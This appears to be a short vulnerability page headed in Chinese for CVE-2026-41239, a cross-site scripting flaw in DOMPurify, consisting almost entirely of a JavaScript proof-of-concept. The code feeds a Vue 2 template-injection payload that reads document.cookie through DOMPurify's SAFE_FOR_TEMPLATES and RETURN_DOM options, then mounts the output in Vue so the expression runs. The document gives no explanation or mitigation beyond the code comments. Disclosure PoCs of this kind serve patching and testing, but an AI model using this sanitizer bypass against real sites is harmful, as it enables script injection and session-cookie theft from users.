CVE-2026-41239 DOMPurify跨站脚本漏洞

// PoC for CVE-2026-41239 // Requires DOMPurify < 3.4.0 and Vue 2 const DOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const Vue = require('vue'); // Setup DOMPurify with JSDOM const window = new JSDOM('').window; const dompurify = DOMPurify(window); // Malicious payload using Vue template syntax const dirty = '<a href="#">Click me {{this.constructor.constructor(\'alert(document.cookie)\')()}}</a>'; // Sanitize with SAFE_FOR_TEMPLATES and RETURN_DOM // The vulnerability allows {{...}} to persist in the DOM const clean = dompurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true, WHOLE_DOCUMENT: true }); // Simulate rendering the cleaned DOM in Vue 2 // The {{...}} expression will be executed new Vue({ template: `<div ref="app"></div>`, mounted() { this.$refs.app.appendChild(clean); } }).$mount('#app');